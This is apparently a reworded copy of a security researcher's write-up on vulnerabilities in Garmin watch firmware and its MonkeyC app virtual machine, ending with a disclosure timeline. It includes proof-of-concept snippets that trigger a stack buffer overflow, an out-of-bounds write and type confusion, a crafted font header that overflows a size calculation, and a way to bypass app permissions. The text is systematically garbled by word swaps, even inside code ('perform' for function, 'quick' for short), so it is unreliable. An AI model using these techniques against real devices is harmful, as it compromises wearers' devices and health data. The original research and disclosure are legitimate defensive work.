Compromising Garmin’s Sport Watches: A Deep Dive into GarminOS and its MonkeyC Digital Machine
By Tao Sauvage
TL;DR: I reversed the firmware of my Garmin Forerunner 245 Music again in 2022 and located a dozen or so vulnerabilities of their assist for Join IQ purposes. They are often exploited to bypass permissions and compromise the watch. I’ve printed numerous scripts and proof-of-concept apps to a GitHub repository. Coordinating disclosure with Garmin, among the vulnerabilities have been round since 2015 and have an effect on over 100 fashions, together with health watches, out of doors handhelds, and GPS for bikes.
Why Garmin’s Sport Watches?
Garmin is a key participant within the international marketplace for health units. In 2020, it was 2nd, behind Apple, within the international smartwatch market in response to Counterpoint Research. When it comes to the safety of their units, I didn’t discover a lot data on-line. I used to be due to this fact to dig additional since this uncharted territory might have an effect on a considerable variety of end-users, myself included.
In early 2022, the one data I might discover on-line was the next attention-grabbing weblog submit from Atredis: “A Watch, A Virtual Machine, and Broken Abstractions” by Dionysus Blazakis (2020). It offered an perception into how the Garmin Forerunner 235 labored and the way their purposes, named Join IQ (CIQ) purposes, had been applied. Blazakis’ weblog submit kickstarted my entire journey and I’m constructing on prime of their analysis.
Vulnerabilities
As a teaser, beneath is the listing of vulnerabilities that I discovered throughout my undertaking and disclosed to Garmin:
Anvil ID | CVE ID |
CIQ API |
Abstract |
GRMN-01 |
No CVE requested |
1.0.0 |
TVM doesn’t be certain that |
GRMN-02 | CVE-2023-23301 | 1.0.0 |
Out-of-bound learn when loading string sources |
GRMN-03 |
No CVE requested |
1.0.0 |
Inconsistent measurement when loading string sources |
GRMN-04 | CVE-2023-23298 | 2.3.0 |
Integer overflows in |
GRMN-05 | CVE-2023-23304 | 2.3.0 |
|
GRMN-06 | CVE-2023-23305 | 1.0.0 |
Buffer overflows when loading font sources |
GRMN-07 | CVE-2023-23302 | 1.2.0 |
Buffer overflows in |
GRMN-08 | CVE-2023-23303 | 3.2.0 |
Buffer overflows in |
GRMN-09 | CVE-2023-23306 | 2.2.0 |
Relative out-of-bound write in |
GRMN-10 | CVE-2023-23300 | 3.0.0 |
Buffer overflows in |
GRMN-11 |
Similar as GRMN-09 |
2.2.0 |
Kind confusion in |
GRMN-12 |
No CVE requested |
1.0.0 |
Native capabilities don’t verify the variety of arguments |
GRMN-13 | CVE-2023-23299 | 1.0.0 |
Permission bypass through discipline definition manipulation |
We coordinated disclosure with Garmin by means of 2022 and 2023 (see the Responsible Disclosure Timeline part). They clarified that a number of of the vulnerabilities had been there since model 1.0.0, printed in January 2015.
In addition they clarified that the vulnerabilities affected over 100 units, primarily based on the listing of Connect IQ Compatible Devices and glued in CIQ API model 3.1.x as specified by Garmin.
Pre-Analysis
The CIQ purposes are executed inside a digital machine (named TVM within the firmware, which I learn as “The Digital Machine”) applied of their Garmin Working System (aptly named GarminOS). TVM is especially used for stability however it additionally provides a safety layer:
- If the applying takes too lengthy to execute, the VM aborts it.
- The VM takes care of allocating and liberating reminiscence, to stop reminiscence leaks.
- The VM stops purposes from accessing delicate APIs if they don’t have the proper permissions (e.g. accessing GPS location).
Atredis’ weblog submit targeted on the safety of TVM’s operation codes (opcodes) which might be applied natively. It highlighted a number of essential points that may be exploited with malicious meeting code to interrupt the virtualization layer and achieve native code execution on the watch, permitting full management.
The assault situation is for a consumer to put in a malicious CIQ utility (manually or from the Connect IQ Store). We are able to make the parallel with Android purposes, the place a consumer installs a malicious APK on their cell gadget, both from the Play Retailer or by side-loading it.
I like to recommend giving Atredis’ weblog submit a learn should you’re . Though they solely listing the Forerunner 235 mannequin of their advisory, I strongly suspect that the vulnerabilities they discovered affected a a lot wider vary of units.
In my journey, I used to be desirous about analyzing three extra elements of Garmin purposes that would characterize potential assault vectors:
- How does GarminOS load CIQ apps?
- What are the native capabilities briefly talked about in Atredis’ weblog submit?
- How are app permissions applied?
GarminOS and TVM
GarminOS is a completely customized OS developed in-house by Garmin, which, to say the least, is just not frequent these days. It implements threading and reminiscence administration however doesn’t have an idea of user-mode vs. kernel mode, nor does it assist a number of processes for example. It’s largely written in C, with the UI framework beginning to transfer to C++ over the previous couple of years (primarily based on this podcast linked in this random Garmin forum message I discovered by means of shear luck).
Public documentation of their OS is restricted however we all know that their watches use ARM Cortex M collection processors, which might help with reverse-engineering later. Right here, we can be analyzing and testing the Garmin Forerunner 245 Music model.
Apparently, Garmin developed their very own programing language named MonkeyC, which is used to jot down purposes that may run on the watch. They supply an SDK and API documentation that builders can depend on to develop CIQ purposes.
The MonkeyC language is a combination between Java and JavaScript, amongst others. It compiles into byte code that’s interpreted by Garmin’s TVM.
Right here is an instance of a easy MonkeyC program that outputs “Hiya Monkey C!” to the log file of the app:
import Toybox.Utility as App; import Toybox.System; class MyProjectApp extends App.AppBase { perform onStart(state) { System.println("Hiya Monkey C!"); } }
Firmware Evaluation
I initially tried analyzing the firmware replace that’s briefly saved on the watch when it prompts you to replace. Nonetheless, I shortly realized that this was an incremental construct and didn’t comprise the entire firmware.
Happily, Garmin supplies beta firmware images on their website, which comprise every little thing. They’re structured as GCD information, a file format that was unofficially documented by Herbert Oppmann.
Parsing the GCD firmware replace, I extracted the FW_ALL_BIN
file that contained the uncooked picture for my watch:
I might then instantly load the firmware picture as ARM:LE:32:Cortex utilizing Ghidra, with the next reminiscence map after some trial and errors:
You’ll word the beginning tackle at 0x3000
for the flash. I discussed that the beta firmware pictures contained every little thing however it isn’t correct, since they’re lacking the bootloader that’s most certainly positioned between tackle 0x0
and 0x3000
.
Numerous miscellaneous data I gathered throughout reverse-engineering:
- MonkeyC has 21 information sorts:
// MonkeyC information sorts NULL(0), INT(1), FLOAT(2), STRING(3), OBJECT(4), ARRAY(5), METHOD(6), CLASSDEF(7), SYMBOL(8), BOOLEAN(9), MODULEDEF(10), HASH(11), RESOURCE(12), PRIMITIVE_OBJECT(13), LONG(14), DOUBLE(15), WEAK_POINTER(16), PRIMITIVE_MODULE(17), SYSTEM_POINTER(18), CHAR(19), BYTE_ARRAY(20);
- TVM converts these objects right into a 5-byte construction that’s pushed onto the stack:
- The primary byte represents the information kind (
0x01
forint
,0x02
for float,0x05
forArray
,0x09
for Boolean, and so forth.) - The 4 remaining bytes characterize both the direct worth (e.g.
0x11223344
for an integer encoded utilizing 32 bits) or an ID pointing to a different construction positioned on the heap for extra complicated sorts (Hash
,Array
,Useful resource
, and so forth.)
- The primary byte represents the information kind (
- TVM helps a complete of 53 opcodes (full list here)
- Together with frequent ones like
add
,sub
,return
,nop
for example. - In addition to extra specialised ones like
newba
(to allocate ByteArray objects) orgetm
(to resolve modules when utilizing theimport
orutilizing
assertion) for instance. - These opcodes are applied in native code in C and had been the main focus of Atredis’ analysis, as talked about earlier than.
- Together with frequent ones like
CIQ Functions
When compiling a CIQ utility, the SDK generates a PRG file (I learn it as “Program”) containing a number of sections together with the code, information, signature and permissions sections, to call a couple of.
PRG sections are outlined utilizing Type-Length-Value (TLV) encoding, with:
- 4 bytes: the part kind, utilizing a magic worth (e.g. 0xc0debabe for the code part)
- 4 bytes: the part size
- n bytes: the part information, as specified within the part size
I very a lot take pleasure in Kaitai Struct once I want to investigate binary blobs interactively. I wrote a Kaitai construction for PRG information, with assist for disassembling (however not for sources; I feel my Kaitai abilities usually are not ok for that). It’s out there on our GitHub.
For instance, disassembling the TLV sections could be completed as follows:
part: doc: A bit seq: - id: section_type kind: u4 - id: size kind: u4 - id: information measurement: size kind: switch-on: section_type circumstances: # [...] section_magic::section_magic_head: section_head # [...] enums: section_magic: # [...] 0xd000d000: section_magic_head # [...]
Signature
The PRG information are signed utilizing RSA and the PKCS #1 v1.5 commonplace with SHA1. They will maintain both of the next signature sections:
- App Retailer signature
- Developer signature
Within the first case, solely the 512-byte signature is included. Within the second case, each the 512-byte signature and the general public key’s included. There doesn’t appear to be an choice to reject developer-signed apps on the watch.
It’s easy so as to add assist for developer signature in our Kaitai construction:
section_developer_signature_block: doc: Developer signature block seq: - id: signature measurement: 512 - id: modulus measurement: 512 - id: exponent kind: u4
When the compiler creates a PRG file, it first generates and appends all of the sections (head, entry factors, information, code, useful resource, and so forth). It then computes the RSA signature and appends the signature part. Lastly, it appends the tip part, which comprises all zeros (magic worth is 0, and size is 0, for a complete of 8 bytes).
I solely carried out a cursory overview of the signature validation course of, solely simply sufficient in order that I could sign my own patched PRG files.
If anybody is desirous about wanting nearer on the signature validation carried out by the firmware, let me know. I might like to staff up. You’ll find my contact particulars on the backside of this submit.
Assault Floor
Since parsing PRG information is carried out in native code, it’s an attention-grabbing assault floor:
- The file format comprises a number of offsets that would result in integer over/underflows if they don’t seem to be correctly validated.
- It specifies the permissions the applying wants, in addition to the signature for validation.
- It comprises a hyperlink desk and different data used for resolving symbols or dealing with exceptions throughout execution.
- It’s potential to embed complicated information buildings inside the PRG file, together with pictures, animations and fonts, amongst others.
Happily, Garmin correctly handles part lengths (so far as I might inform). Different size attributes inside these sections are sometimes encoded utilizing 2 bytes however saved inside 4-byte integers within the code, stopping a number of integer overflow eventualities.
However there are nonetheless many parts to verify. Let’s go over a number of points that I discovered whereas reversing PRG loading.
Sources
MonkeyC helps a number of varieties of sources. Their documentation mentions strings, bitmaps, fonts, JSON information and animations.
String Definitions
String definitions (as proven beneath) are processed by the information
opcode. When calling information
, you move the image to your string definition, which normally factors inside your PRG’s information part. A string definition begins with the sentinel worth 0x1
, adopted by the string size encoded utilizing 2 bytes, adopted by the string bytes.
The Atredis’ CVE-2020-27486 advisory explains that the information
opcode allocates the string buffer primarily based on the size specified within the string definition, after which proceeds to name strcpy
to repeat the string bytes. This may result in reminiscence corruption, since strcpy
doesn’t use the desired size and can solely cease on the first null byte.
Trying on the information
opcode, I confirmed that this was fastened by utilizing strncpy
now. Nonetheless, digging additional I famous one other, albeit much less impacting challenge.
When loading the definition, TVM first resolves the image to its worth that stands for a “bodily” offset inside a bit. Essentially the most important byte (MSB) of the image specifies which part:
- MSB
0x00
(i.e. between0x00000000
and0x10000000
excluded), we’re pointing contained in the PRG information part - MSB
0x10
(i.e. between0x10000000
and0x20000000
excluded), we’re pointing contained in the PRG code part - MSB
0x20
(i.e. between0x20000000
and0x30000000
excluded), we’re pointing contained in the API information part (saved within the firmware) - MSB
0x30
(i.e. between0x30000000
and0x40000000
excluded), we’re pointing contained in the API code part (additionally saved within the firmware)
TVM then makes use of the decrease 6 bytes because the offset inside these sections. (There’s additionally MSB 0x40
for native capabilities however I’ll get again to them later.)
By API information and code sections, I imply that the firmware embeds a replica of the SDK compiled from MonkeyC. Though it isn’t a PRG file like an utility we’d develop, they comprise the identical information buildings. The API code part comprises MonkeyC byte code and the API information part comprises class and string definitions.
TVM checks that the offset computed from the image is inside the bounds of the anticipated part. As an example, in case your PRG information part is 0x1000
bytes and also you specify the image 0xdeadbeef
whose worth is 0x00aabbcc
, it’ll fail, since 0xaabbcc
is past the tip of PRG information part (0xaabbcc > 0x1000
).
Nonetheless, there’s a drawback with strings. String definitions specify the size of the information to learn and TVM doesn’t verify if it goes past the tip of the part. It’s due to this fact potential to position a string definition on the border of a bit, with a big measurement, and TVM will learn information past the part’s finish (up till the subsequent null byte).
Actually, because the sentinel worth for string definitions is simply 0x01
, we will additionally simply discover offsets inside the API information and code sections that may be handled as legitimate string definitions. So we’re not restricted in inserting our invalid string definitions in our PRG sections, we will additionally discover them within the API sections.
Font Sources
The firmware I analyzed helps two varieties of fonts: non-Unicode (sentinel worth 0xf047
) and Unicode (sentinel worth 0xf23b
). The previous not is supported when compiling a PRG file however the code for dealing with them remains to be current contained in the firmware (most certainly for retro-compatibility causes).
The non-Unicode format that’s not supported is shorter and easier to explain:
Index | Dimension in bytes | Title |
---|---|---|
0x00 | 4 | sentinel worth |
0x04 | 4 | top |
0x08 | 4 | glyph rely |
0x0c | 4 | min |
0x10 | 2 | information measurement |
0x12 | 3 * glyph rely | glyph desk buffer |
n | 4 | glyph sentinel |
n + 4 | 1 * information measurement | further information buffer |
When loading a font, the native code incorrectly computes the scale of the buffer wanted to load the information resulting from an integer overflow line 7:
e_tvm_error _tvm_app_load_resource(s_tvm_ctx *ctx,int fd,uint app_type,s_tvm_object *useful resource,s_tvm_object *out) { uint size_buffer; // [...] file_read_4bytes(fd, &font_glyph_count); file_read_2bytes(fd, &font_data_size); size_buffer = (font_data_size & 0xffff) + (int)font_glyph_count * 4 + 0x34; tvm_mem_alloc(ctx, glyph_table, &glyph_table_data); // [...] for (i = 0; i < font_glyph_count; i++) { glyph = glyph_table_data[i]; file_read_2bytes(fd, glyph); } // [...] }
It’s potential to craft a font header that can end in out-of-bound write operations. As an example, deciding on the next values:
– Glyph rely: 0x4000001A
– Font information measurement: 0x108
The computed buffer measurement can be: (0x108 & 0xffff) + 0x4000001A * 4 + 0x34 = 0x1000001a4
. Because the registers can solely maintain 32-bit values, it will get truncated to 0x1000001a4 & 0xffffffff = 0x1a4
. The firmware will then attempt to copy 0x4000001A
glyphs to a buffer of 0x1a4
bytes.
Comparable points could be discovered when parsing Unicode fonts, in addition to bitmap sources. Nonetheless, attempting to overwrite giant buffers on small, embedded units could be tough. I made a decision to proceed reversing the firmware to determine vulnerabilities that could be simpler to use.
Native Capabilities
When extracting the API information and code sections from the firmware, I famous that though a number of capabilities had been applied in MonkeyC, others had been truly applied natively (as denoted by their symbols beginning with 0x40
as talked about earlier than).
When invoking a way, symbols beginning with 0x40
are handled as an index inside a desk of callbacks:
// [...] if ((field_value[0].worth & 0xff000000) == 0x40000000) { // `i * 4` is checked earlier within the perform to be inside bounds tvm_native_method = *(code **)(PTR_tvm_native_callback_methods_00179984 + i * 4); ctx->pc_ptr = (byte *)tvm_native_method; err = (*tvm_native_method)(ctx, nb_args); // [...]
In my firmware, I famous 460 native capabilities! That is fairly a big assault floor, since a bug in any of these might doubtlessly enable compromising the OS.
One thing to notice about symbols beginning with 0x40
:
– Their 2nd MSB signifies the variety of arguments
– The remaining 2 bytes signifies the offset inside the desk of callbacks
For instance, the image 0x40050123
factors to a local perform (MSB is 0x40
) that expects 5 parameters (2nd MSB is 0x05
) and whose index within the desk is 0x123
.
Resolving Native Perform Symbols
I wished to resolve the symbols of these native capabilities to hurry up reversing. I positioned and extracted the API information part primarily based on its 0xc1a55def
magic worth.
I then parsed and looked for all strategies beginning with 0x40. For that, I compiled my Kaitai construction to Python to automate the method. Under is an instance of such technique from the Kaitai internet IDE:
Within the screenshot above, we discover the next data:
- We’re inside the category definition of the module ID
0x800490
, which inherits from the module ID0x800003
- The primary discipline definition is a technique (kind
0x6
), whose image is0x800018
and worth is0x300055D9
- The second discipline definition can be a way (kind
0x6
), whose image is0x800446
and worth is0x4002015F
For now, let’s concentrate on the second discipline definition. Because the MSB of its worth is 0x40
, it’s a native perform, which takes 2 parameters and is positioned at offset 0x15F
within the callback desk.
We are able to discover the debug image of 0x800446
within the SDK offered to end-users:
monkeybrains.jar.src$ grep $((16#800446)) ./com/garmin/monkeybrains/api.db getHeartRateHistory 8389702
However there are two getHeartRateHistory
in response to their documentation. Which one is it? That is the place we use the module ID:
monkeybrains.jar.src$ grep $((16#800490)) ./com/garmin/monkeybrains/api.db Toybox_SensorHistory 8389776
Due to this fact, the native callback at offset 0x15F
is Toybox.SensorHistory.getHeartRateHistory. You’ll have guessed already: the mum or dad module ID 0x800003
is Toybox
.
This technique seems to solely take one parameter (choices
) however TVM is object-oriented so underneath the hood, getHeartRateHistory
does take two parameters: this
and choices
. (For the curious, the primary discipline definition is the <init>
technique of the category.)
We are able to automate this course of (Kaitai to Python, plus some extra Python code to parse the debug symbols) for all native capabilities and rename the capabilities in Ghidra utilizing their Python scripting API.
It’s now a lot simpler to reverse the native capabilities, since we will already know their arguments primarily based on the official documentation.
Toybox.Cryptography.Cipher.initialize
Buffer Overflows
Trying on the documentation, the Toybox.Cryptography.Cipher.initialize technique expects 4 parameters:
-
algorithm
, which is an enum to specifyAES128
orAES256
. -
mode
, which is an enum to specifyECB
orCBC
. -
key
, which is aByteArray
of the key key. -
iv
, which is aByteArray
of the initialization vector.
This initialize
technique is applied natively within the firmware:
e_tvm_error native:Toybox.Cryptography.Cipher.initialize(s_tvm_ctx *ctx,uint nb_args) { // [...] byte static_key_buffer [36]; ushort key_data_length; // [...] // Anvil: Retrieve the important thing parameter and retailer it into `key`. // [...] // Anvil: Retrieve the underlying byte array information eVar1 = tvm_object_get_bytearray_data(ctx,(s_tvm_object *)key,&bytearray_data); psVar2 = (s_tvm_ctx *)(uint)eVar1; if (psVar2 != (s_tvm_ctx *)0x0) goto LAB_0478fd0c; // Anvil: And the byte array size key_data_length = *(ushort *)&bytearray_data->size; // Anvil: Copy the byte array information to the static buffer memcpy(static_key_buffer,bytearray_data + 1,(uint)key_data_length); // [...] // Anvil: if CIPHER_AES128 then anticipated measurement is 16 if (*(int *)(local_78 + 0x18) == 0) { expected_key_size = 0x10; } else { // Anvil: if CIPHER_AES256, then anticipated measurement is 32 if (*(int *)(local_78 + 0x18) == 1) { expected_key_size = 0x20; } // [...] } // Anvil: If the important thing measurement is sudden, throw an exception if (((key_data_length != expected_key_size) && (psVar2 = (s_tvm_ctx *)thunk_FUN_00179a5c(ctx,(uint *)object_InvalidOptionsException,PTR_s_Invalid_length_of_:key_for_reque_047900d0), psVar2 != (s_tvm_ctx *)0x0)) || /* [...] */ ) goto LAB_0478fd1a; // [...]
Within the code snippet above, the native perform retrieves the important thing information and calls memcpy
to repeat it to the static buffer positioned on the stack. As soon as the copy is completed, solely then does it verify the scale of the important thing and throws an error if it has an invalid worth.
Nonetheless, at that time, we already corrupted the stack, together with the worth for this system counter (PC) register.
The identical logic applies to the initialization vector later within the initialize
perform, though this time the buffer is positioned on the heap as an alternative of the stack:
// [...] // Anvil: Retrieves the IV byte array information eVar1 = tvm_object_get_bytearray_data(ctx,(s_tvm_object *)iv,&bytearray_data); psVar2 = (s_tvm_ctx *)(uint)eVar1; if (psVar2 != (s_tvm_ctx *)0x0) goto LAB_0478fc06; iv_length = bytearray_data->size; // Anvil: Assigns its size to a construction at offset 0x16 *(quick *)(local_78 + 0x16) = (quick)iv_length; // Anvil: Copy the byte array information to the buffer on the heap memcpy(local_78 + 6,bytearray_data + 1,iv_length & 0xffff); // [...] // Anvil: If the IV measurement is just not 16, throw an exception if (*(quick *)(local_78 + 0x16) != 0x10) { if (psVar2 != (s_tvm_ctx *)0x0) goto LAB_0478fc06; psVar2 = (s_tvm_ctx *)thunk_FUN_00179a5c(ctx,(uint *)object_InvalidOptionsException,PTR_s_Invalid_length_of_:iv_for_reques_047900dc); } // [...]
The next MonkeyC utility can set off the crash when the key
parameter is copied:
var keyConvertOptions = { :fromRepresentation => StringUtil.REPRESENTATION_STRING_HEX, :toRepresentation => StringUtil.REPRESENTATION_BYTE_ARRAY }; var keyBytes = StringUtil.convertEncodedString( "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb", keyConvertOptions ); var ivBytes = StringUtil.convertEncodedString( "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", keyConvertOptions ); var myCipher = new Crypto.Cipher({ :algorithm => Crypto.CIPHER_AES128, :mode => Crypto.MODE_ECB, :key => keyBytes, :iv => ivBytes });
Toybox.Ant.BurstPayload
Relative Out-of-Bounds Write
Trying on the documentation, the Toybox.Ant.BurstPayload.add
technique expects only one parameter: message
as an array or a byte array. The strategy provides the message object to an inner buffer. It’s applied natively:
e_tvm_error native:Toybox.Ant.BurstPayload.add(s_tvm_ctx *ctx,uint nb_args) { // [...] // Anvil: Retrieves our present BurstPayload occasion object object = (s_tvm_object *)(ctx->frame_ptr + 5); field_size = 0; // Anvil: Retrieves its `measurement` discipline eVar1 = tvm_get_field_size_as_int(ctx,object,&field_size); uVar2 = (uint)eVar1; if (uVar2 == 0) { // Anvil: If the `measurement` discipline is >= 0x2000, we abort if (0x1fff < (int)field_size) { return OUT_OF_MEMORY_ERROR; } // [...] // Anvil: Retrieves our `message` parameter eVar1 = tvm_message_copy_payload_data(ctx,ctx->frame_ptr + 10,payload_data); // [...] // Anvil: Retrieves our occasion's `burstDataBlob` discipline eVar1 = tvm_object_get_field_value-?(ctx,object,field_burstDataBlob,&burst_data_blob,1); // [...] if ((uVar2 == 0) && (uVar2 = _tvm_object_get_object_data(ctx,burst_data_blob.worth,(undefined *)&blob_data), uVar2 == 0)) { // Anvil: We write our `message` information to the interior buffer. *(undefined4 *)(blob_data + field_size + 0xc) = payload_data._0_4_; *(undefined4 *)(blob_data + field_size + 0x10) = payload_data._4_4_; // [...]
The very first thing that stands out is the measurement
discipline validation. Whereas the perform checks the higher certain of its worth, it doesn’t verify for unfavourable values.
How can we management the measurement
discipline of the BurstPayload
object? MonkeyC helps inheritance, so we will merely inherit from the article and override its worth after its constructor was referred to as.
For instance, the next code snippet overrides the measurement
discipline with 0xdeadbeef
after calling its mum or dad’s initialize
technique. When calling add
, the native perform will try to jot down 8 bytes of information
, beginning at blob_data + 0xdeadbeef + 0xc
.
class MyBurstPayload extends Ant.BurstPayload { perform initialize() { Ant.BurstPayload.initialize(); self.measurement = 0xdeadbeef; } } // [...] var burst = new MyBurstPayload(); var information = new[8]; for (var j = 0; j < 8; j++) { information[j] = 0x44; } burst.add(information);
Toybox.Ant.BurstPayload
Kind Confusion
Along with the improper measurement
validation, there’s one other challenge within the code. It assumes that burstDataPayload
is a sure kind of object (wanting on the initialize
technique of BurstPayload
, it seems to be a Useful resource
object).
Nonetheless, utilizing the identical method that we used to redefine the measurement
discipline, we will change the burstDataPayload
discipline to turn into one other kind of object.
For instance, the next code adjustments the burstDataBlob
discipline to an Array
object:
class MyBurstPayload extends Ant.BurstPayload { perform initialize() { Ant.BurstPayload.initialize(); self.measurement = 0; // Each objects are INT self.burstDataBlob = [0, 0]; } } // [...] var burst = new MyBurstPayload(); var information = [ // First object, changing from INT to FLOAT 0x02, 0x42, 0x42, 0x43, 0x43, // Second object, changing from INT to FLOAT 0x02, 0x45, 0x45, ]; burst.add(information);
When the add
perform known as, the native perform will override the primary 8 bytes of the information of the array. These bytes characterize the primary 2 objects saved (5 bytes of the primary object and three bytes of the second), that are of kind INT
. We override them with our personal objects of kind FLOAT
.
The identical sample could be seen in different native capabilities, the place they assume that the article’s fields are the identical as outlined within the SDK. They don’t think about the case the place these had been modified through inheritance.
Now among the weak native capabilities require permissions. For the vulnerabilities associated to Toybox.Ant.BurstPayload
, our CIQ app should add the Toybox.Ant
module to its permissions listing (together with the Toybox.Background
module).
I used to be desirous about understanding how permissions had been enforced by the firmware.
Permissions
Module definitions have a flag that specifies in the event that they require permissions for use. This flag is ready for numerous core modules, similar to:
-
Toybox.Ant
for Ant-related communication -
Toybox.Positioning
to retrieve GPS coordinates -
Toybox.UserProfile
to retrieve user-related data similar to date of beginning, weight, and so forth. - Complete list here
Then, the PRG file contains the module IDs it wants entry to in its permissions part. As an example, in case your utility wants entry to Toybox.UserProfile
module, it’ll embody its ID (0x800012
) in its permissions part, as proven beneath:
These permissions are then listed on the Join IQ retailer for every utility. For instance, the Spotify CIQ app lists the next permission:
Which corresponds to the Toybox.Communications module.
Checking Permissions
Within the firmware, I discovered the next perform that checks the permissions. Its pseudo-code seems to be as follows:
uint prg_tvm_has_permission(s_tvm_ctx *ctx, int module_id, byte *out_bool) { // For every module ID within the permissions part // Is it equal to requested module ID? // If sure, then we return true as in approved // If no, we verify the subsequent ID within the part // No match discovered, we return false as in unauthorized }
The very first thing that stood out on this perform was the next edge case dealt with early on:
// [...] bVar1 = module_id == module_Toybox_SensorHistory; *out_bool = 0 if ((bVar1) && (ctx->model < VERSION_2.3.0)) { *out_bool = 1; return 0; } // [...]
Tracing the model
attribute, I spotted that it comes from the model specified within the PRG’s head part. We are able to tamper with the pinnacle part to specify a decrease model than 2.3.0 and be routinely granted entry to the Toybox.SensorHistory module. This module supplies entry to data similar to coronary heart charge, elevation, strain, stress stage, amongst others.
Up thus far, I used to be undecided when the prg_tvm_has_permission
perform was referred to as. Digging additional, I famous that it was referenced by the next opcodes:
-
getm
to resolve a module -
getv
to retrieve an attribute from a module -
putv
to replace an attribute from a module
The prg_tvm_has_permission
receives the module ID of the module that’s both being resolved (with getm
) or referenced when studying/writing an attribute (with getv
/putv
).
Sadly, we can not tamper with that module ID since it’s parsed instantly from the category definitions within the SDK information part, saved within the firmware. Based mostly on testing, trying to inherit from a privileged module is not going to work both.
Class and Discipline Definitions
If you happen to recall the category definition highlighted earlier when resolving symbols, it comprises high-level data, such because the mum or dad module ID (if any) and the applying sorts, amongst others. It additionally comprises an inventory of discipline definitions, corresponding to each discipline outlined by the category.
Modules are outlined as class definitions within the information part. That is the case for each the modules offered by the SDK and the modules which might be created (underneath the hood) when writing a PRG utility.
A discipline definition could be any MonkeyC kind (as listed early on on this weblog submit) as much as kind 15 (double) resulting from how the kind is AND
ed with 0xf
when TVM parses it. This contains integers, strings, different class definitions and strategies, amongst others. It can’t be a primitive module (kind 17) or a system pointer (kind 18) for example.
Within the class definition proven above, we will see that the primary discipline definition is a technique (kind 6), whose image is 0xD
and its worth 0x100000D5
. If you happen to recall string definitions from earlier, you perceive that 0x100000D5
means it’s discovered at offset 0xD5
within the code part of the PRG file.
When calling the tactic 0xD
, TVM will parse the category definition, then its discipline definitions, till it finds a match for that image worth. In our case it’ll discover 0x100000D5
, translate it to the offset within the right part (right here the PRG code part) and redirect execution there. I’m simplifying however that’s the gist of it.
Now you could be questioning: what if we up to date our discipline definition worth to level contained in the SDK part as an alternative? As an example, what if we had been to do the next:
Within the up to date discipline definition, we modified 0x100000D5
to 0x40040033
. If you happen to recall, that is purported to characterize a local perform (0x40
) that takes 4 parameters (0x04
) and is at offset 0x33
within the callbacks desk (the 0x40040033
worth is particular to my firmware model). This native perform is actually Toybox.Communications.openWebPage, which is meant to require permissions since it’s contained in the privileged Toybox.Communications
module.
Now, when TVM checks for permissions, it’ll find yourself checking our module ID, which means checking whether or not the category definition of our module requires permissions. Because it doesn’t, it’ll fortunately allow you to name the tactic 0xD
, which finally ends up calling the openWebPage
native perform.
This may be generalized additional: we might embed a full copy of the SDK in our PRG file! We would want to repair numerous offsets and clear the permission flags. Then, we might use any and all modules, even with an empty permissions part.
This successfully utterly bypasses Garmin’s permissions verify.
Conclusion
On this weblog submit, I retraced my steps wanting on the Garmin Forerunner 245 Music watch. We targeted on Garmin purposes that may be developed utilizing MonkeyC and run on the gadget.
We analyzed how the GarminOS TVM runs the apps, specializing in PRG parsing, native capabilities and permissions. We discovered bugs throughout our journey that enable escaping the VM layer and compromise the watch. We additionally discovered how we might bypass the Garmin permissions and name any capabilities, no matter our app’s permissions. I’ve compiled numerous scripts and proof-of-concepts to a GitHub repository.
A few of the vulnerabilities similar to CVE-2023-23299 had been launched within the first model of the CIQ API (1.0.0), printed in 2015. They have an effect on over 100 Garmin units, together with health watches, out of doors handhelds and GPS for bikes.
Future Analysis Concepts
There are a lot of areas that haven’t been checked out on Garmin watches (so far as public analysis reveals). We already talked about the signature validation earlier on this weblog submit however we even have:
- The Ant and Ant+ stack, utilized by the watch to speak with exterior sensors (e.g. a heart-rate monitor or working pods)
- The Bluetooth Low Power (BLE) stack, additionally used with sensors, in addition to when the watch communicates with the smartphone (to ship information to the Garmin Join cell utility for example)
- Some units even have a Wi-Fi module
- The USB stack, when connecting the gadget to a pc to repeat information
- The filesystem uncovered by the gadget through USB
It might be attention-grabbing to know if there are bugs within the protocol stacks, whether it is potential to hijack an Ant (or BLE or Wi-Fi) connection for example and feed malicious information from there. And if the firmware additionally improperly processes the information obtained from these protocols.
As well as, the watch can present notifications obtained on the telephone. It could possibly be attention-grabbing to know how these notifications are dealt with, and if a malicious notification might exploit the watch (e.g. a string format vulnerability when displaying the notification message).
A side I didn’t cowl both is per-application storage. Functions have a devoted storage for saving preferences and different choices. It could possibly be attention-grabbing to know how it’s applied, and whether it is potential for a malicious utility to entry and manipulate information saved by one other utility.
Atredis talked about attempting to patch QEMU to run the watch firmware. I personally didn’t try and carry out dynamic evaluation, like fuzzing, however that is one thing that may greater than seemingly assist reveal extra bugs.
One factor is for certain for my part: we solely skimmed the floor.
Accountable Disclosure Timeline
- 2022-07-25: Anvil submitted the technical report back to Garmin through their web form together with our 90-day disclosure coverage.
- 2022-09-11: Garmin acknowledges the vulnerabilities and requests an extension till December third, 2022. We agree.
- 2022-10-14: Anvil submitted a second technical report relating to the permission bypass.
- 2022-11-09: Garmin states that they’re on monitor for December third, 2022 for the preliminary findings. Garmin acknowledges the permission bypass and requests an extension till February twenty eighth, 2023. We agree.
- 2022-12-01: Garmin states that they recognized extra affected merchandise and requests a brand new extension till March 14th, 2023 for all vulnerabilities.
- 2022-12-06: Anvil agrees on the brand new deadline and requests the listing of affected merchandise.
- 2022-12-13: Garmin supplies the listing of affected units, recognized by Join IQ API model.
- 2023-01-09: Anvil requests CVE IDs.
- 2023-01-26: MITRE assigns CVE IDs (CVE-2023-23301, CVE-2023-23298, CVE-2023-23304, CVE-2023-23305, CVE-2023-23302, CVE-2023-23303, CVE-2023-23306, CVE-2023-23300, CVE-2023-23299).
- 2023-01-27: Anvil shares CVE IDs with Garmin and asks if they’re planning to publish a safety advisory.
- 2023-02-01: Garmin states that they don’t seem to be planning on publishing an advisory itemizing the CVEs.
- 2023-03-14: Anvil asks Garmin if they’ve launched the brand new firmware pictures for the affected units.
- 2023-03-16: Garmin states that almost all of the updates have been launched. They specify that three units have been delayed and that they’re focusing on March twenty second, 2023